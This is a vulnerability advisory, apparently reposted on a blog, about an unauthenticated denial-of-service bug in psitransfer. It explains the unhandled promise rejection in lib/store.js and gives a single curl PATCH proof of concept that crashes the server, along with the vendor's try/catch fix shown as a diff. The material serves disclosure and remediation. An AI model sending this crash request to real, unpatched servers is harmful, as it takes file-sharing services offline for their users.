Skip to content

Denial of Service (DoS) at psitransfer

BX

Build software better, together

Summary

A Denial of Service (DoS) vulnerability exists in psitransfer due to an improper exception handling in the file upload logic. An unauthenticated attacker can crash the server by sending a specific HTTP PATCH request, which triggers an unhandled promise rejection in lib/store.js.

Details

The vulnerability is located in lib/store.js. When the server processes an upload via the tus protocol, it listens for the finish event on the write stream. Inside this event listener, it attempts to retrieve file metadata using this.info(fid).

If a PATCH request is sent for a file ID that hasn’t been initialized (e.g., via a preceding POST request), the this.info(fid) method throws a 404 Not Found error. Since this logic is wrapped inside an async event handler without a try-catch block, the error becomes an UnhandledPromiseRejection. This causes the entire Node.js process to terminate immediately, resulting in a denial of service.

Vulnerable Code (lib/store.js):

ws.on('finish', async () => {
  // ...
  // specific logic
  const info = await this.info(fid); // <--- Throws error if file doesn't exist
  // ...
});

PoC

You can reproduce this vulnerability by sending a single PATCH request to a running PsiTransfer instance using curl.

  1. Start the server:
npm start
  1. Run the exploit:
curl -X PATCH http://localhost:3000/files/crash_test_poc \
  -d "payload" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream"
  1. Observation: The server process crashes with Exit code: 1 and logs:
Error: UnhandledPromiseRejection
...
NotFoundError: Not Found
    at Store.info (.../lib/store.js:...)

Impact

This vulnerability allows any unauthenticated attacker (network access required) to crash the PsiTransfer server remotely with a single request. This renders the file sharing service completely unavailable until it is manually restarted by an administrator.

Remediation

The vendor has fixed this vulnerability in the latest version. The fix involves wrapping the vulnerable async logic within a try-catch block to properly handle exceptions.

Fix Analysis

In lib/store.js, the append method was modified to catch exceptions during the finish event handler. Previously, a failure here (like a missing file) would cause an unhandled promise rejection. The fix ensures any error is caught and passed to the promise reject function, preventing the process execution from crashing.

Code Diff:

fix: graceful handle errors during data appending in Store · psi-4ward/psitransfer@2989bb2

     const ret = new Promise((resolve, reject) => {
       ws.on('finish', async() => {
-        const info = await this.info(fid);
-        if(info.size >= info.uploadLength) delete info.isPartial;
-        await fsp.writeJson(this.getFilename(fid) + '.json', info);
-        debug(`Finished appending Data to ${this.getFilename(fid)}`);
-        return resolve({ offset: info.offset, upload: info });
+        try {
+          const info = await this.info(fid);
+          if(info.size >= info.uploadLength) delete info.isPartial;
+          await fsp.writeJson(this.getFilename(fid) + '.json', info);
+          debug(`Finished appending Data to ${this.getFilename(fid)}`);
+          return resolve({ offset: info.offset, upload: info });
+        } catch (e) {
+          return reject(e);
+        }
       });
       ws.on('error', reject);
     });
编辑这篇文章

评论区

使用 GitHub Discussions 驱动,欢迎留言交流。

上一篇
HnuCTF2026竞赛平台搭建和运维记录
下一篇
CVE-2025-68613: n8n 表达式注入导致远程代码执行漏洞分析与复现